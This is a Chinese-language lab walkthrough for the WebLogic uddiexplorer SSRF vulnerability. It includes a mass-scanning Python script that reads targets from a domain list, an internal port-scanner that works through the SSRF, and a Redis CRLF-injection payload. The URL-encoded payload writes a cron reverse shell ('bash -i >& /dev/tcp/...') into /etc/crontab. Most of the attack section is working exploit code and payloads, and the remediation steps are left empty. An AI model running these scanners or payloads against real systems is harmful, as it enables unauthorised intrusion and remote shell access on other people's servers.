ssrf_redis_1 /usr/local/bin/docker-entr Up 6379/tcp
...
ssrf_weblogic_1 startWebLogic.sh Up 5556/tcp,
0.0.0.0:7001->7001/tcp
实验机ip:172.20.10.13
访问http://172.20.10.13/uddiexplorer/
查看uddiexplorer应用
检测脚本:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import re
import sys
import Queue
import requests
import threading
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
queue = Queue.Queue()
mutex = threading.Lock()
class Test(threading.Thread):
def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue
def check(self,domain,ip):
payload = "uddiexplorer/SearchPublicRegistries.jsp?operator={ip}&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(ip=ip)
url = domain + payload
try:
html = requests.get(url=url, timeout=15, verify=False).content
m = re.search('weblogic.uddi.client.structures.exception.XML_SoapException',html)
if m:
mutex.acquire()
with open('ssrf1.txt','a+') as f:
print "%s has weblogic ssrf." % domain
f.write("%s has weblogic ssrf." % domain)
mutex.release()
except Exception,e:
print e
def get_registry(self,domain):
payload = 'uddiexplorer/SetupUDDIExplorer.jsp'
url = domain + payload
try:
html = requests.get(url=url, timeout=15, verify=False).content
m = re.search('For example: (.*?)/uddi/uddilistener.*?',html)
if m:
return m.group(1)
except Exception,e:
print e
def run(self):
while not self.queue.empty():
domain = self.queue.get()
mutex.acquire()
print domain
mutex.release()
ip = self.get_registry(domain)
self.check(domain,ip)
self.queue.task_done()
if __name__ == '__main__':
with open('domain.txt','r') as f:
lines = f.readlines()
for line in lines:
queue.put(line.strip())
for x in xrange(1,50):
t = Test(queue)
t.setDaemon(True)
t.start()
queue.join()
效果:
SSRF漏洞存在于http://172.20.1013/uddiexplorer/SearchPublicRegistries.jsp
palyload:/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
通过改变operator处的IP及端口对内网进行探测
实际环境中该处可能会暴露内网地址
我们可以根据返回的不同状态信息,来判断内网的IP是否存在以及对应端口是否开放。
这里有一个地方需要注意的是,需要知道目标内网网段。如果盲目的去进行网段扫描会耗费大量的时间。
一个简单的内网服务嗅探
import thread
import time
import re
import requests
def ite_ip(ip):
for i in range(1, 256):
final_ip = '{ip}.{i}'.format(ip=ip, i=i)
print final_ip
thread.start_new_thread(scan, (final_ip,))
time.sleep(2)
def scan(final_ip):
ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
for port in ports:
vul_url = 'http://172.20.10.13:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
try:
#print vul_url
r = requests.get(vul_url, timeout=15, verify=False)
result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
result2 = re.findall('but could not connect', r.content)
result3 = re.findall('No route to host', r.content)
if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
print '[!]'+final_ip + ':' + port
except Exception, e:
pass
if __name__ == '__main__':
ip = "172.21.0"
if ip:
print ip
ite_ip(ip)
else:
print "no ip"
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,
而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
redis反弹shell脚本:
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/IP:端口 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save ##将反弹shell写入到/etc/crontab
##/etc/crontab 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab
##/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
命令:
set 1 "\n\n\n\n* * * * root bash -i >& /dev/tcp/xx.xx.xx.xx[这里是你自己的公网IP]/8888[这里是你监听的端口] 0>&1\n\n\n\n" config set dir /etc/config set dbfilename crontab save
我们是通过GET来发送命令的,因此要将上面的命令进行URL编码,同时我们还要制定一个要写入的文件test(这里换行为%0A%0D)
?operator=http://172.21.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.20.10.13%2F8888%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aqwezxc
发送
在172.20.10.13主机上监听端口8888
反弹shell成功
方法一
方法二
方法三
Weblogic服务端请求伪造漏洞出现在uddi组件(所以安装Weblogic时如果没有选择uddi组件那么就不会有该漏洞),更准确地说是uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp。方法三采用的是改后辍的方式,修复步骤如下:
参考文章:
https://www.jianshu.com/p/42a3bb2b2c2c
https://www.jianshu.com/p/97b157a20108